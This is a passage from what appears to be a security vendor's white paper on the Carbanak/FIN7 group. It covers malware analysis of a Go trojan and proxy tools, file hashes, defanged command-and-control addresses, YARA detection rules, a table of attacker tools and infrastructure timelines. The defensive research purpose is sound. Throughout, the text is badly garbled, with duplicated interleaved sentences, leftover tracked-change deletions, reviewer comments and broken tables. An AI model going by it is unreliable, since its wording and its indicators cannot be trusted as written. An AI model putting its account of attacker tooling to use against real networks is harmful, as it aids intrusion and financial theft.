no direct evidence to support this conclusion. Compounding this issue, the attackers appear to have a solid grasp on OPSEC, having evaded direct attribution thus far. The common malware repurposed for targeted intrusions is listed below with a brief description of each. This is worth mentioning so that a network defender can alert on AV logs for these specific classifications. By using malware that would be classified as a common threat, they are able to avoid intense scrutiny. WHITE PAPER Trojan Family Description Andromeda/Gamarue Backdoor commonly used to deliver banking Trojans; uses plug-ins like Carberp to extend functionality Qadars Banking Trojan loosely based on leaked source code of Carberp and Zeus; supports plug-ins Meterpreter Metasploit backdoor payload loader; very extensible Cobalt Strike Full-featured Red Team software; unlicensed versions using the HTTP beacon contain the X-malware HTTP header Odaniff Download and execute arbitrary files; run shell commands In addition to common crimeware repurposed for targeted intrusions, these actors also engineer their own custom, albeit simplistic, Trojans. The following example, ctlmon.exe, is indicative of their latest work. Carbanak/FIN7 Go Trojan File Name: ctlmon.exe File Size: 4392448 bytes MD5: 370d420948672e04ba8eac10bfe6fc9c SHA1: 450605b6761ff8dd025978f44724b11e0c5eadcc PE Time: 0x0 [Thu Jan 01 00:00:00 1970 UTC] Sections (4): Name Entropy MD5 .text 5.86 81e6ebbfa5b3cca1c38be969510fae07 .data 5.17 17c39e9611777b3bcf6d289ce02f42a1 .idata 3.49 b6cb3301099e4b93902c3b59dcabb030 .symtab 0.02 07b5472d347d42780469fb2654b7fc54 This peculiar sample was simple in its implementation, but not simple to analyze. Written in Go language and compiled into a Windows Executable, it presented several hurdles to the tools a typical malware analyst will use, specifically IDA Pro. When importing this sample, nearly none of the functions were recognized by IDA s flow-disassembler (Figure 20). WHITE PAPER Figure 20:20: Figure 20:IDA Pro Flow-Disassembler Flow-Disassembler Figure Flow-Disassembler By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go By manually defining the codealong locations, alongfrom withstrazzere, a script from strazzere, By manually defining the code locations, with a script RSA Research parsed the Go Runtime code as well as the imported libraries. This still left more than 5000 functions to analyze (Figure Deleted: Runtime 21). code Research as well as the imported libraries. Thiscode still left more as than functions to analyze (Figure parsed the Go Runtime as well the5000 imported libraries. 21). This still left more than 5000 functions to analyze (Figure 21). Figure 21: New IDA Functions to Analyze Next, scanning through the functions to identify imported libraries not likely malicious or user created Deleted: Figure NewIDA IDAFunctions Functions toto Analyze Figure 21:21: Analyze allowed us to analyze the user-created logic. Now we simply reference the functionality of the library Deleted: code (Figure 22). the functions to identify imported libraries not likely malicious or user created Next, scanning through Next, scanning through the functions to identify imported libraries not likely allowed us to analyze the user-created logic. Now we simply reference the functionality of the library malicious or user created allowed us to analyze the user-created logic. Now code (Figure 22). we simply reference the functionality of the library code (Figure 22). Figure 22: User-Created Code Instead of Compiled Libraries Figure 22: User-Created Code Instead of Compiled Libraries Running a web search on the library calls leads to runtime_stringtoslicebyte, which takes a string and turns it into a sequence of bytes exactly as expected of a simple XOR key. The malware moves the offset for the XOR key into RAX, then into a QWORD (global variable calculated based on the length of the XOR key string into RCX), and then onto the stack before it calls runtime_stringtoslicebyte decode the configuration (Figure 23). Deleted: User Deleted: Googling Deleted: , Deleted: Deleted: WHITE PAPER Running a web search on the library calls leads to runtime_stringtoslicebyte, which takes a string and turns it into a sequence of bytes exactly as expected of a simple XOR key. The malware moves the offset for the XOR key into RAX, then into a QWORD (global variable calculated based on the length of the XOR key string into RCX), and then onto the stack before it calls runtime_ stringtoslicebyte to decode the configuration (Figure 23). Figure 23: Configuration XOR Key Figure 23: Configuration XOR Key Figure 23: Configuration XOR Key When the malware starts, it will decode the command strings used in memory to avoid static detection and heuristics (Figure 24). When the malware starts, it will decode the command strings used in memory When the malware starts, it will decode the command strings used in memory to avoid static detection static detection and heuristics (Figure 24). andavoid heuristics (Figure 24). 24: Decoded Trojan Commands Figure Figure 24: Decoded Trojan Commands Figure 24: Decoded Trojan Commands A brief synopsis of the commands: A brief synopsis of the commands: Command FunctionFunction ACommand brief synopsis of the commands: Display process listing #shell Begin interactive shell Displaycommand process listing Command Function #kill Remove process Windows Service and malware Display listing #info system information #shell Begin interactive #shell Begin interactive command shellcommand shell #wget Download functionService via wget HTTP #kill Remove Windows malware #kill Remove #wput Upload function via Windows wput FTP Service and malware #info system information #name hostname of victim #wget Download function via wget HTTP #info system information #service Install malware Service with Service Name of #wput Upload functionasviaWindows wput FTP WindowsCtlMonitor #name Get hostname of victim #wget #service Deleted: M Download function via wget HTTP Install malware as Windows Service with Service Name of WindowsCtlMonitor #wput Upload functiondirectory via wput The malware also queries the user default %TEMP% looking for the xname.txt file and uploads to the C2 server. The malware does not create this file; therefore, its functionality remains #name Get hostname of victim unknown at this (Figure The malware alsotime queries the 25). user s default %TEMP% directory looking for the xname.txt file and uploads to the C2 server. The malware doesmalware not create this therefore,Service its functionality #service Install as file; Windows with remains Service unknown at this time (Figure 25). Name of WindowsCtlMonitor The malware also queries the user s default %TEMP% directory looking for the xname.txt file and uploads to the C2 server. The malware does not create this file; therefore, its functionality remains unknown at this time (Figure 25). Deleted: M Deleted: Deleted: WHITE PAPER Figure 25: Malware Reading Unknown File The malware beacons to 107.181.246[.]146 over TCP port 443 with a simple, single-byte XOR key that FigureMalware 25: Malware Reading Reading Unknown File Unknown File changes on every connection. Figure The output is a single-byte command output; the malware simply malware beacons toand 107.181.246[.]146 over TCP port 443 with a simple, single-byte XOR key the that #shell Deleted: sing redirects The STDIN, STDOUT STDERR across the encoded connection when it receives malware beacons The to 107.181.246[.]146 over TCPoutput; port 443 with asimply simple, changes on every connection. output is a single-byte XOR command the malware Deleted: command (Figure 26). redirects STDIN, STDOUT STDERR across encoded connection when it receives single-byte key and that changes ontheevery connection. outputtheis#shell a singlecommand (Figure 26). byte XOR command output; the malware simply redirects STDIN, STDOUT and STDERR across the encoded connection when it receives the #shell command (Figure 26). Figure 26: Simple Command Shell This Trojan may be detected with the YARA signature, below. RSA Research has not been able to locate Figure 26:26: Simple Command Shell Figure Simpleto Command Shell any additional samples like this, making it impossible build a corpus of variants to diff them in an effort to identify what s common. Deleted: This Trojan may be detected with the YARA signature, below. RSA Research has not been able to locate any additional samples like this, making it This Trojan may be detected with the YARA signature, below. RSA Research has not been able to locate impossible to build a corpus of variants to diff them in an effort to identify any additional samples like this, making it impossible to build a corpus of variants to diff them in an what s common. effort to identify what s common. WHITE PAPER YARA Signature for Go Trojan rule Carbanak_Go_Trojan meta: author = RSA FW strings: = { 4D 5A } $build_id = Go build ID: 33ee104ab2c9fc37c067a26623e7fddd3bb76302\ $string = xname.txt $sgc 2.16.840.1.113730.4.1 $msc 1.3.6.1.4.1.311.10.3.3 condition: $mz at 0 and ($build_id or ($string and #sgc and $msc)) 2.1.4. Linux and Other Tools Carbanak/FIN7 operators are not confined to a compromised organization Windows environment. While their goal is generally the Windows-based machines, certain sub-groups are rather adept in the Linux world and have used specialized tools to migrate from one to the other, as well as to maintain persistence. The following SOCKS5 proxy tool is a strong example. Carbanak/FIN7 Linux SOCKS5 Proxy Name auditd b57dc2bc16dfdb3de55923aef9a98401 SHA-1 1d3501b30183ba213fb4c22a00d89db6fd50cc34 Size 21.1 KB (21616 bytes) Type Magic ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped Name Type Address Offset Size Flags NULL NULL 0x00000000 0x00000000 0 .interp PROGBITS 0x00400200 0x00000200 28 .note.ABI-tag NOTE 0x0040021c 0x0000021c 32 .note.gnu.build-id NOTE 0x0040023c 0x0000023c 36 .gnu.hash GNU_HASH 0x00400260 0x00000260 36 .dynsym DYNSYM 0x00400288 0x00000288 792 .dynstr STRTAB 0x004005a0 0x000005a0 280 .gnu.version VERSYM 0x004006b8 0x000006b8 66 .gnu.version_r VERNEED 0x00400700 0x00000700 32 .rela.dyn RELA 0x00400720 0x00000720 24 WHITE PAPER The utility begins as a daemon and connects to 95.215.36[.]116 over TCP port 443. These values, as well as credentials, are hardcoded into the malware and not obfuscated in any way (Figure 27). Figure 27: Hardcoded SOCKS5 Proxy Information Figure 27: Hardcoded SOCKS5 Proxy Information Figure 27: Hardcoded SOCKS5 Proxy Information The credentials are read from locations, sprintf() %s:%s %s:%s base64and encoded to The credentials are these read from thesecombined locations,with combined with sprintf() credentials are read from these(Figures locations,28 combined with sprintf() %s:%s and base64 encoded to create the The Authorization-Basic string and 29). base64 encoded to create the Authorization-Basic string (Figures 28 and 29). create the Authorization-Basic string (Figures 28 and 29). Figure 28: Reading the Password Figure 28: Reading the Password Figure 28: Reading the Password Figure 29: Reading the User ID Figure 29: Reading the User ID The SOCKS5 proxy obfuscates its traffic with a simple XOR loop. The same key is also used in another one of their Windows IP forwarding tools, discussed later (Figure 30). WHITE PAPER Figure 29: Reading the User ID SOCKS5 proxyitsobfuscates a simple loop.key The SOCKS5The proxy obfuscates traffic withitsa traffic simplewith loop. The same is also used in another same also used another their Windows forwarding tools, one of their Windows IP forwarding tools, discussed later (Figure 30). discussed later (Figure 30). Figure 30:30: Obfuscation onTop TopofofSOCKS5 SOCKS5 Proxy Figure Obfuscation on Proxy This Linux SOCKS5 proxy may be found with this YARA rule: YARA Signature for Linux SOCKS5 Proxy rule Carbanak_ELF_SocksTunnel meta: author = RSA FW strings: $elf = { 7F 45 4C } $s1 = SendToTunnelSocks5Answer $s2 = SendToTunnel $s3 = process_out_data $s4 = process_in_data $s5 = update_tunnel_select_ex_cb $s6 = update_tunnel_descriptors $s7 = process_data_from_tunnel $s8 = UpdatePingTime condition: $elf at 0 and all of ($s*) WHITE PAPER A similar Windows utility, svcmd.exe , was discovered as well. Carbanak/FIN7 Windows IP Proxy Tool File Name: svcmd.exe File Size: 47104 bytes MD5: 8b3a91038ecb2f57de5bbd29848b6dc4 SHA1: 54074b3934955d4121d1a01fe2ed5493c3f7f16d PE Time: 0x58CBC258 [Fri Mar 17 11:02:48 2017 UTC] PEID Sig: Microsoft Visual C++ 8 Sections (5): Name Entropy MD5 .text 6.57 80dd3bd472624a01e5dff9e015ed74fd .rdata 5.44 b789b368b21d3d99504e6eb11a6d6111 .data 2.31 970056273f112900c81725137f9f8b45 .rsrc 5.1 44a70bdd3dc9af38103d562d29023882 .reloc 4.4 c99c03a1ef6bc783bb6e534476e5155b This tool also has its configuration hardcoded into the malware and is plainly visible in its strings (Figure 31). Figure 31: Clearly Visible Network Information Figure 31: Clearly Visible Network Information Instead of a SOCKS5 proxy, this tool appears to directly forward packets to the IP address 185.86.151[.]174 on TCP port 443. It also uses a simple XOR obfuscation routine with the key of 0x41, the same as the Linux SOCKS5 proxy (Figure 32). WHITE PAPER Instead of a SOCKS5 proxy, this tool appears to directly forward packets to the IP address 185.86.151[.]174 on TCP port 443. It also uses a simple XOR obfuscation routine with the key of 0x41, the same as the Linux SOCKS5 proxy (Figure 32). Figure 32: IP Proxy Tool XOR Routine Figure 32: IP Proxy Tool XOR Routine WHITE PAPER YARA Signature for Windows IP Proxy Tool rule Carbanak_IP_Proxy meta: author = RSA FW strings: = { 4D 5A } $decoder = { 33 C0 EB 03 [0-3] 80 34 38 41 40 3B C6 75 F7 } condition: $mz at 0 and $decoder The syndicate also utilizes several freely available reconnaissance, lateral movement and privilege escalation tools, not to mention various Track data memory scrapers and other financial data-gathering utilities discovered in the wild. The table below enumerates the most common tools utilized by these actors. Tool Description mimikatz Password dumper; 32-bit or 64-bit mimikatz-lite Smaller version of mimikatz; 32-bit or 64-bit invoke-minikatz PowerShell version of mimikatz System scrapers Will return browser history and passwords, as well as RDP and share information WGET GNU HTTP tool; Win32 and ELF Network scanners Simple scanners to quickly identify open ports on a network segment Compression utilities RAR, 7zip, etc., renamed to compress exfil for faster transmission, as well as fooling simple flow analysis Log wipers From batch scripts, bash scripts, PowerShell scripts invoking WMIC commands to custom binaries configured to wipe logs Backdoored SSH and SSHD daemons Allows remote access with key-based authentication, as well as exfiltrating all successful authentications to a configured domain or IP on the internet Lateral movement tools PSEXEC, PAExec, TinyP, Winexec for Linux; allowing remote execution of arbitrary files with stolen credentials from one machine on the network to another Remote administration tools Ammy admin; plink used to create reverse SSH tunnel; various implementations of local proxies to circumvent firewalls and network segmentation WHITE PAPER Known exploits RTF, DOC, DOCX exploit lures; direct attacks on web applications and external infrastructure to gain a foothold in the network, as well as local privilege escalation vulnerabilities for Linux and Windows Table 1: Common Tools Used by Carbanak/FIN7 3. ANUNAK HISTORICAL OVERVIEW The following figures were compiled from Anunak/Sekur samples acquired from VirusTotal. They were initially sorted by compile time, but this proved problematic as many had compile times zeroed out (resulting in a compile date of January 1, 1970) or were tampered with to infer future compile date. Consequently, the samples were sorted by first submission to VirusTotal. The Trojans were often hardcoded with domains and IP addresses with a port. New indicators appear on the graph next to their submission date. Please note that no pDNS for the domains was added to the timeline due to the compile time vs. submission time irregularities. While there are many overlaps in infrastructure between 2014 (Figure 33) into early 2015, the 2015 period (Figure 34) shows a dramatic slowdown in the group s activity. It is noteworthy that Kaspersky reported (in February 2015) the group was responsible for stealing millions, if not billions, from banks during 2013 and 2014. Several months later, the authorities made high-profile arrests on charges of ATM fraud and SWIFT transfers and other direct account transfers. The observed lull in the group s activity following this attribution and related arrests indicates that some of the more prolific actors were either caught, ceased their activity, moved on, or changed their TTPs and continued operations. While each of these options is a possible truth, RSA Research believes that the 2015 curtailment of activity reflects Carbanak operators, still reeling from a law enforcement takedown, reorganizing into a more loosely affiliated syndicate. As mentioned previously, the graph shows net-new infrastructure, and it s worth it to note that in 2014 there were many different samples that communicated with overlapping domains and IP addresses. The immense slowdown in 2015 in new indicators, and the fact that the samples observed stopped reusing or overlapping domains and IPs, suggest a fragmentation especially considering that 2016 shows very little intersection of domains and IPs. The 2016 period (Figure 35) shows an uptick in activity that included both reused and new malware. This led us to believe the reorganized Carbanak syndicate recruited new members, falling back on previously successful methods to exploit victim networks after gaining a foothold. This aligns with RSA Incident Response team s field experience, where actors using these same tactics and tools were found to be using custom or completely different Trojans than Carberp and Anunak/Sekur, post 2015. The 2017 time period (Figure 36), while not yet over, is relatively sparse compared to previous years, possibly indicating this malware is at the end of its lifecycle. It is likely, given the history, some remnants of it will be recycled into another implant in the future. WHITE PAPER 2/10/2014 3/1/2014 5/2/2014 mind-finder.com 6/23/2014 37.235.54.48:443 4/1/2014 7/2/2014 financialnewsonline.pw 185.10.56.59:443 7/6/2014 financialnewsonline.pw 5/1/2014 7/10/2014 great-codes.com 7/22/2014 datsun-auto.com 8/6/2014 androidn.net 8/12/2014 209.222.30.5:443 6/1/2014 7/1/2014 8/25/2014 nyugorta.com, 95.211.172.143:80 9/26/2014 87.236.210.109:443 10/1/2014 microso c1pol361.com, 83.166.234.250:443 10/9/2014 get.bloody-roots.club, 83.166.234.250:443 10/15/2014 5.61.32.118:443, 66.55.133.86:80 10/20/2014 freemsk-dns.com, 87.98.153.34:443 10/23/2014 216.170.117.88:443 10/30/2014 systemsvc.net, 131.72.138.180:443 11/21/2014 onlineoffice.pw 11/28/2014 gendelf.com, 31.7.61.136:443 12/16/2014 comixed.org 162.221.183.109:443 8/1/2014 9/1/2014 10/1/2014 11/1/2014 2/10/2014 paradise-plaza.com, 188.138.98.105:700 3/5/2014 akamai-technologies.org, 158.58.172.157:700 4/24/2014 java-update.co.uk, 184.22.58.143:443 6/10/2014 adguard.name, 5.199.169.188:443 6/22/2014 public-dns.com, 58.158.177.102:80, 88.198.184.241:700 7/3/2014 87.236.210.109:443 7/3/2014 update-java.net 7/8/2014 public-dns.us 7/18/2014 travel-maps.info 7/31/2014 69.195.129.70:80 8/5/2014 di-led.com, 108.61.197.233:443, 108.61.197.254:80 8/22/2014 glonass-map.com, 88.198.184.241:443 9/7/2014 31.131.17.128:443 10/8/2014 worldnewsonline.pw, 185.10.56.59:443, 69.195.129.70:80 10/12/2014 31.131.17.125:443 10/19/2014 216.170.117.7:443 10/22/2014 coral-travel.com, 31.131.17.127:443 69.195.129.72:80 11/17/2014 microso 1povkjbdw87kgf518nl361.com, 131.72.138.180:443 11/25/2014 microso jhecwhb7832873.com, 12/1/2014 12/31/2014 Figure 33: 2014 Infrastructure 81.17.17.42:443 12/8/2014 216.170.117.28:443, 94.100.180.200:80 12/24/2014 217.172.186.179:443, 85.143.166.76.80 WHITE PAPER 1/1/2015 2/26/2015 92.255.170.197:444 3/3/2015 playbe ngx.net, 185.29.9.51:443 2/1/2015 3/1/2015 4/1/2015 5/5/2015 weekend-service.com, 216.170.116.120:443 2/23/2015 coral-trevel.com, 31.131.17.127:443, 69.195.129.72:80, 87.98.153.34:443 3/3/2015 193.203.48.41:700, 91.207.60.68:80 4/7/2015 77.88.55.77:80, 87.236.210.109:443 5/1/2015 5/14/2015 94.156.77.149:80 6/1/2015 6/2/2015 194.146.180.58:80, 87.98.217.9:443 7/1/2015 7/30/2015 185.29.9.28:443 8/1/2015 9/1/2015 8/31/2015 141.255.167.28:443 10/1/2015 10/9/2015 88.150.175.102:443 11/1/2015 10/21/2015 107.161.145.208:443, 62.75.218.45:80 10/14/2015 5.9.189.40:443 11/10/2015 194.146.180.58:80, 89.46.103.42:443 12/1/2015 12/31/2015 8/6/2015 82.163.78.188:443 Figure 34: 2015 Infrastructure WHITE PAPER 1/1/2016 1/27/2016 149.202.138.110:443, 194.146.180.40:80 2/16/2016 194.146.180.40:80 2/23/2016 www.carenty44.net, 78.128.92.29:443 1/19/2016 social.strideindustrialusa.com 2/1/2016 3/1/2016 2/17/2016 www.draiklehfert.com, 151.80.8.10:443 4/1/2016 3/2/2016 www.crap oerne.com, 216.170.118.136:443, 95.211.172.143:80 3/10/2016 107.161.159.17:443 4/5/2016 www.payrt.com, 185.29.11.7:443 4/25/2016 176.101.223.100:443, 194.146.180.41:80 5/27/2016 94.140.120.132:443, 95.215.46.70:443 6/30/2016 193.203.48.23:700, 89.144.14.65:80 5/1/2016 6/1/2016 7/1/2016 7/23/2016 138.201.44.10:443, 95.215.47.109:443 8/17/2016 great-codes.com, public-dns.us, wefwe3223wfdsf, 188.138.98.105:701, 37.235.54.48:443, 5.61.38.52:443 9/7/2016 ajlindustries.myfreesites.net 2/5/2016 23.249.162.161:443 3/21/2016 151.80.8.10:443 4/8/2016 185.86.149.60:443, 95.215.45.228:443 5/1/2016 www.sityahoogoodt.com, 151.80.241.83:443 5/25/2016 194.146.180.44:80 6/11/2016 updateserver.info 7/12/2016 179.43.140.82:443 8/1/2016 8/10/2016 46.165.228.24:443 9/1/2016 10/1/2016 9/4/2016 176.101.223.101:443, 194.146.180.43:80 9/12/2016 185.86.151.210:443, 204.155.30.87:443 11/1/2016 10/24/2016 204.155.30.100:443 12/1/2016 Figure 35: 2016 Infrastructure WHITE PAPER 6/1/2017 6/26/2017 185.180.198.2:443 31.148.219.126:443 6/18/2017 176.101.223.105:443 7/1/2017 7/24/2017 7/19/2017 5.152.203.121:443 7/25/2017 shfdhghghfg.com, 52.11.125.44:443 Figure 36: 2017 Infrastructure 4. OVERLAP WITH COMMON CRIMEWARE CAMPAIGNS During RSA Research s analysis, an interesting link emerged to several crimeware campaigns. This made sense, considering the prolific use of banker Trojans and other information-stealing Trojans by these groups. The Anunak/Sekur malware is the only unique family attributed to these groups. The rest are common, repurposed malware. By pivoting on the known infrastructure with respect to when the Trojans were active, RSA Research was able to discover a potential overlap. Linked Sample File Name: face85f789faec82197703e296bd0c872f621902624b34c 108f0460bc687ab70.exe FILE SIZE: 204800 BYTES MD5: 1E47E12D11580E935878B0ED78D2294F SHA1: 8230E932427BFD4C2494A6E0269056535B9E6604 PE TIME: 0X534BD7C7 [MON APR 14 12:42:47 2014 UTC] PEID SIG: MICROSOFT VISUAL C++ 8 SECTIONS (5): NAME ENTROPY MD5 .TEXT 6.5 EAFBA59CAFA0E4FA350DFD3144E02446 .RDATA 7.77 25617CE39E035E60FA0D71C2C28E1BF5 .DATA 6.57 1284A97C9257513AAEBE708AC82C2E38 .RSRC 4.91 F6207D7460A0FBDDC2C32C60191B6634 .RELOC 4.01 2E7EEC2C3E7BA29FBF3789A788B4228E The compile time of this sample does not appear to be tampered with. It was submitted to VirusTotal on August 25, 2014, from Russia via a web submission as great1404_chelnok.exe. The web submission, as well as a nonhash filename, suggests this was from the victim and not a researcher. This would give the actor a possible dwell time of over four months, more than enough time to accomplish their goals. Name Entropy MD5 .text eafba59cafa0e4fa350dfd3144e02446 .rdata 7.77 25617ce39e035e60fa0d71c2c28e1bf5 .data 6.57 1284a97c9257513aaebe708ac82c2e38 .rsrc 4.91 f6207d7460a0fbddc2c32c60191b6634 .reloc 4.01 2e7eec2c3e7ba29fbf3789a788b4228e WHITE PAPER The compile time of this sample does not appear to be tampered with. It was submitted to VirusTotal on August 25, 2014, from Russia via a web submission as great1404_chelnok.exe. The web submission, as well as a non-hash filename, suggests this was from the victim and not a researcher. This would give the actor a possible dwell time of over four months, more than enough time to accomplish their goals. Deleted: V Upon further analysis, we determined the Trojan is Anunak and is hardcoded to use theisHTTP Upon further analysis, we determined the Trojan is Anunak hardcoded communications method with the domain nyugorta.com (Figure 37). Deleted: to use the HTTP C2 communications method with the domain nyugorta.com (Figure 37). Deleted: th Deleted: . Deleted: Deleted: 4 Deleted: nd Deleted: Deleted: th FigureFigure 37: 37: Anunak Trojan Beacon Anunak Trojan Beacon Deleted: th The domain resolved to 89.45.14[.]207 on February 2nd, 2014. Pivoting on this IP address our research to a domain, resolved The domain resolvedled to 89.45.14[.]207 on February 2, 2014. brazilian-love[.]org, Pivoting on this IP addressthat led our research domain, brazilian-love[.]org, that resolved this between April 2014, December 5, 2014. to this IP between April 8th, 2014 and December 5th, 2014. This fit within This fit within our actor s timeframe of April to August 2014. The WHOIS information indicated that actor s timeframe of April to August 2014. The WHOIS information drake.lampado777@gmail.com registered this domain and 34 others in the same timeframe. Our"research" indicated that drake.lampado777@gmail.com registered this domain and 34 indicates" Drake"Lampado "is"a"pseudonym. others in the same timeframe. Our research indicates Drake Lampado is a pseudonym. Deleted: Research into these domains revealed that many of them were involved with common Crimeware campaigns, overlapping with some of the Hosting provider subnets used by Carbanak/Fin7 during the same time (Table 2). Note: the full, unobscured table is available in the Appendix. Rd Domain Malware Involved zaydo.website zaydo.space zaydo.co akkso-dob.in upatre downloader nikaka-ost.in skaoow-loyal.xyz akkso-dob.xyz upatre downloader maorkkk-grot.xyz upatre downloader skaoow-loyal.net nikaka-ost.xyz upatre downloader pasteronixca.com corebot pasteronixus.com corebot vincenzo-bardelli.com corebot marcello-bascioni.com corebot Links to Anunak Deleted: Deleted: Comment we"calling"o attack?""" Comment we"are"not"a Addedclarif WHITE PAPER namorushinoshi.com corebot chugumshimusona.com corebot wascodogamel.com corebot ppc-club.org corebot castello-casta.com carberp cameron-archibald.com carberp narko-cartel.com andromeda narko-dispanser.com andromeda dragonn-force.com Resolved between 09/16/2015 01/08/2016 to 91.194.254.207 same subnet as advetureseller.com and others Resolved between 02/04/2015 05/14/2016 to 91.194.254.207 same subnet as advetureseller.com and others [obscured].com gooip-kumar.com badur Resolved between 02/05/2015 04/17/2015 to 91.194.254.207 same subnet as advetureseller.com and others casas-curckos.com levetas-marin.com badur casting-cortell.com [obscured].net 02/08/2015 04/29/2016, 91.194.254.207 same subnet as advetureseller.com and others brazilian-love.org baltazar-btc.com road-to-dominikana.biz corebot ihave5kbtc.org andromeda ihave5kbtc.biz andromeda critical-damage333.org Table 2: Links to Anunak/Sekur Malware WHITE PAPER The linked IP address, 91.194.254[.]207, is registered to dimeline.eu, a European sports betting site that owns the entire a91.194.254[.]0/23 address Comment [DC29]: Is"the" The linked IP address, 91.194.254[.]207, is registered to dimeline.eu, European sports betting site that criminals?"""Is"it"a"legitimate owns the entire space (Table 3). 91.194.254[.]0/23 address space (Table 3). them"out?"" Comment [e30]: It s"certa entire"link"between"these"ac crimeware"campaign.""The"I available"for"anyone"to"see. completely"invalidate"this"e content." Table 3: RIPETable WHOIS Information for 91.194.254.0/24 3: RIPE WHOIS Information for 91.194.254.0/24 As"noted"above,"many"of"the"samples"analyzed"also"had"domains"resolving"to"this"network"space" As noted above, many of the samples analyzed also had domains resolving to (91.194.254/23)"during"the"2014O2015"time"period."Table"4"details"the"dimeline.eu"IP"addresses"of"these" domains,"which"were"registered"in"such"a"way"as"to"better"blend"in"with"common"traffic." this network space (91.194.254/23) during the 2014-2015 time period. TableDeleted: ". Deleted: Many of the samp Domain IP Address Date 4 details the dimeline.eu IP addresses of these domains. These domains are resolving to this network du akamai-technologies.org 91.194.254.246 2/26/2014 often referred to as lookalike domains as they are registered in such a way as Deleted: period (Table 4). adventureseller.com 91.194.254.39 8/25/2014 androidn.net 91.194.254.39 7/3/2014 to mimic other trusted or innocent domains in an attempt to go unnoticed. travel-maps.info 91.194.254.38 7/4/2014 glonass-map.com datsun-auto.com Domain di-led.com coral-trevel.com akamai-technologies.org comixed.org publics-dns.com adventureseller.com publics-dns.com 91.194.254.37 91.194.254.38 91.194.254.38 91.194.254.92 91.194.254.246 91.194.254.90 91.194.254.93 91.194.254.39 91.194.254.94 IP Address 7/17/2014 7/22/2014 8/4/2014 10/20/2014 2/26/2014 10/24/2014 2/25/2015 8/25/2014 2/25/2015 Date Table 4: Overlaps with Anunak Infrastructure androidn.net 91.194.254.39 7/3/2014 There is also a link to a Corebot campaign with attempts to sell Corebot source code on btcshop.cc by a user named btcshop. This person claimed to be selling the Corebot source code, but was not the author, travel-maps.info 91.194.254.38 7/4/2014 and linked to a google+ account for a Drake Lampado. A single post by this person was posted on October 11, 2013. An article explaining the link is here. glonass-map.com 91.194.254.37 7/17/2014 datsun-auto.com 91.194.254.38 7/22/2014 di-led.com 91.194.254.38 8/4/2014 coral-trevel.com 91.194.254.92 10/20/2014 comixed.org 91.194.254.90 10/24/2014 publics-dns.com 91.194.254.93 2/25/2015 publics-dns.com 91.194.254.94 2/25/2015 Table 4: Overlaps with Anunak Infrastructure There is also a link to a Corebot campaign with attempts to sell Corebot source code on btcshop.cc by a user named btcshop. This person claimed to be selling the Corebot source code, but was not the author, and linked to a google+ account for a Drake Lampado. A single post by this person was posted on October 11, 2013. An article explaining the link is here. Deleted: Deleted: Comment [DC34]: Not"su individuals.""If"we"are"incorr Comment [TJ35R34]: Ac however,"as"noted"above,"D Deleted: th Deleted: WHITE PAPER These indirect links are not a smoking gun and may be coincidental. The Dimeline network may have been vulnerable with many different groups/ actors using its infrastructure to host their malware. Differences in TTP also These indirect links are not a smoking gun and may be coincidental. The Dimeline network may have exist. For example, the Carbanak/FIN7 group used more than one of their been vulnerable with many different groups/actors using its infrastructure to host their malware. external IP addresses C2 the applications, only Differences in TTP also exist.to Forhost example, Carbanak/FIN7while group we usedwere more than oneable of their external addresses host applications, while were only able verify single address verify a single IP address hosting Corebot by the Drake Lampado actor. Deleted: Deleted: Deleted: hosting Corebot by the Drake Lampado actor. Deleted: F That being said, it remains a possibility that the Carbanak/FIN7 actors run That being said, it remains a possibility that the Carbanak/FIN7 actors run side campaigns, in addition to sideAPT-style campaigns, inon addition to their APT-style on the industrial their attacks, the industrial verticals dealing withattacks, financial information of interest. Deleted: F Deleted: A verticals dealing with financial information of interest. 5. CURRENT ACTIVITY 5.!Current Activity Recently there have been reports of weaponized DOCX and RTF files using Recently there embedded have been reports of weaponized DOCXVisual and RTF files using embedded JavaScript in macros to drop Basic and JavaScript PowerShell payloads macros to drop Visual Basic and PowerShell payloads (Figure 38). These lures allow Carbanak/FIN7 to (Figure 38). These lures allow Carbanak/FIN7 to gain a foothold in a targeted gain a foothold in a targeted network and move laterally to find financial data. Deleted: Deleted: F network and move laterally to find financial data. Figure 38: Weaponized DOCX and RTF Lures Figure'38:'Weaponized'DOCX'and'RTF'Lures' The many layers of string splitting and Base64 obfuscation in the lure document s VBA Macro reveal the Bateleur JavaScript backdoor (Figure 39). Along with this Trojan is the tinymet Trojan stub from Metasploit (Figure 40), as well as an encoded and compressed password-stealing DLL. WHITE PAPER The"many"layers"of"string"splitting"and"Base64"obfuscation"in"the"lure"document s"VBA"Macro"reveal"the" The"many"layers"of"string"splitting"and"Base64"obfuscation"in"the"lure"document s"VBA"Macro"reveal"the" Bateleur"JavaScript"backdoor"(Figure"39)."Along"with"this"Trojan"is"the"tinymet"Trojan"stub"from" Bateleur"JavaScript"backdoor"(Figure"39)."Along"with"this"Trojan"is"the"tinymet"Trojan"stub"from" Metasploit"(Figure"40),"as"well"as"an"encoded"and"compressed"passwordOstealing"DLL." Metasploit"(Figure"40),"as"well"as"an"encoded"and"compressed"passwordOstealing"DLL." Deleted: " Deleted: " Deleted: pa Deleted: pa Figure'39:'Bateleur'Machine'Enumeration' Figure 39: Bateleur Machine Enumeration Figure'39:'Bateleur'Machine'Enumeration' Figure'40:'Tinymet'Configuration' FIGURE 40: TINYMET CONFIGURATION Figure'40:'Tinymet'Configuration' Embedded#DLL# Embedded#DLL# File Name: stealer_component_refl.dll File Name: DLL stealer_component_refl.dll Embedded File Size: 24576 bytes File Size: 24576 bytes MD5: ddc9b71808be3a0e180e2befae4ff433 MD5: ddc9b71808be3a0e180e2befae4ff433 File Name: stealer_component_refl.dll SHA1: 996db927eb4392660fac078f1b3b20306618f382 SHA1: 996db927eb4392660fac078f1b3b20306618f382 Time: 0x58993DE6 Feb 07 03:24:22 2017 UTC] File Size: 24576 bytes [Tue PE Time: 0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] Sections (4): Sections (4): MD5: ddc9b71808be3a0e180e2befae4ff433 Name Entropy MD5 Name Entropy MD5 .text 996db927eb4392660fac078f1b3b20306618f382 6.05 e741daf57eb00201f3e447ef2426142f SHA1: .text 6.05 e741daf57eb00201f3e447ef2426142f .rdata 5ecb9eb63e8ace126f20de7d139dafe8 .rdata 5ecb9eb63e8ace126f20de7d139dafe8 PE.data Time: 0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] 1.54 732e6d3d7534da31f51b25506e52227a .data 1.54 